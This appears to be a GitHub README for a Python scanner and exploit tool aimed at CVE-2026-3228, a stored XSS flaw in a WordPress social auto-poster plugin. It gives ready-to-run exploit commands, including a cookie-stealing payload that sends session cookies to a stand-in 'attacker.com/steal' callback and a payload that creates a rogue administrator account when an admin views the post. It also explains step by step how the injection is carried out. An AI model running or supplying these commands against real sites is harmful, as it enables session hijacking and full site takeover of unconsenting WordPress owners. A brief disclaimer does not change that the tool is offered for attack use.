null200ok/cve-2026-3228Scans and exploits CVE-2026-3228, a stored XSS in NextScripts WordPress plugin, with pre-auth detection, authenticated checks, and payload injection for PoC, cookie theft, or admin creation.
CVE-2026-3228 - NextScripts WordPress Plugin Stored XSS Scanner & Exploit
https://img.shields.io/badge/python-3.6+-blue.svg
https://img.shields.io/badge/license-MIT-green
https://img.shields.io/badge/WordPress-Plugin-red
Author: NULL200OK
A comprehensive Python tool to scan for and exploit CVE-2026-3228, a Stored Cross-Site Scripting (XSS) vulnerability in the NextScripts: Social Networks Auto-Poster WordPress plugin (versions ≤ 4.4.6).
The vulnerability allows authenticated users with Contributor-level access or higher to inject arbitrary JavaScript via the [nxs_fbembed] shortcode. When an administrator views the infected post, the script executes in their browser, potentially leading to session hijacking, admin account creation, or site compromise.
📦 Features
info – Display detailed CVE information (description, root cause, impact).
scan – Pre‑authentication scan to detect the plugin and its version.
check – Comprehensive check with credentials (login, privilege verification, version detection).
exploit – Inject malicious XSS payloads into a new post using the vulnerable shortcode.
Multiple payload types:
alert – Simple alert box for proof‑of‑concept.
cookie – Steals session cookies and sends them to a callback URL.
admin – Attempts to create a new administrator user (requires admin to view the page).
html – Basic HTML injection with onerror events.
custom – User‑supplied JavaScript.
all – Inject all payload types in separate posts.
Automatic authentication – Handles WordPress login, session management, and nonce extraction.
Fallback injection methods – Tries REST API first, then traditional form submission.
User‑friendly output – Colour‑coded status messages and clear step‑by‑step guidance.
🚨 Vulnerability Overview
CVE ID: CVE-2026-3228
CVSS Score: 6.4 (Medium)
Affected Plugin: NextScripts: Social Networks Auto-Poster ≤ 4.4.6
Root Cause:
Insufficient input sanitization of the snapFB post meta value.
Insufficient output escaping when rendering the [nxs_fbembed] shortcode.
Privileges Required: Contributor‑level account or higher.
Impact: An attacker can execute arbitrary JavaScript in the context of any user (including administrators) who views the infected post, leading to full site compromise.
⚙️ Requirements
Python 3.6+
requests
beautifulsoup4
Install dependencies:
bash
pip install requests beautifulsoup4
🔧 Installation
bash
cd CVE-2026-3228
📚 Usage
text
usage: CVE-2026-3228.py [-h] {info,scan,check,exploit} ...
CVE-2026-3228 - NextScripts WordPress Plugin Stored XSS Scanner & Exploit
positional arguments:
{info,scan,check,exploit}
info Display detailed information about the CVE
scan Check if target is vulnerable (pre-auth)
check Comprehensive check with credentials
exploit Exploit the vulnerability (requires valid credentials)
optional arguments:
-h, --help show this help message and exit
bash
python3 CVE-2026-3228.py info
bash
python3 CVE-2026-3228.py scan https://example.com
bash
python3 CVE-2026-3228.py check https://example.com -u contributor -p password
Basic alert payload (PoC)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type alert
Steal cookies (requires a listener)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type cookie --callback-url https://attacker.com/steal
Attempt to create an admin user (when admin views the page)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type admin
Inject all payload types
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type all
Custom JavaScript
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type custom --custom-js "console.log('pwned')"
🧠 How It Works (Step‑by‑Step)
Authentication – The script logs into WordPress using the provided credentials and maintains a session.
Privilege Check – Verifies that the logged‑in user has at least Contributor‑level access (required to create posts).
Payload Generation – Creates JavaScript payloads based on the chosen type.
Injection – Creates a new post containing the vulnerable [nxs_fbembed] shortcode. The malicious script is placed in the snapFB post meta field, which is not properly sanitized by the plugin .
Storage – The post is published (or saved as draft) and the payload is stored in the database.
Trigger – When an administrator (or any user) views the post, the unsanitized script is rendered and executed in their browser .
Post‑Exploitation – Depending on the payload, the attacker can steal cookies, create admin accounts, or perform other actions.
The script attempts injection via the WordPress REST API first (faster, cleaner). If that fails, it falls back to traditional form submission, extracting the required nonces from the post editor page.
⚠️ Disclaimer
This tool is provided for educational and authorized security testing purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author (NULL200OK) assumes no liability and is not responsible for any misuse or damage caused by this script.
📄 License
This project is licensed under the MIT License – see the LICENSE file for details.
📬 References
MITRE CVE‑2026‑3228 (placeholder)
WordPress Plugin Directory
OWASP Stored XSS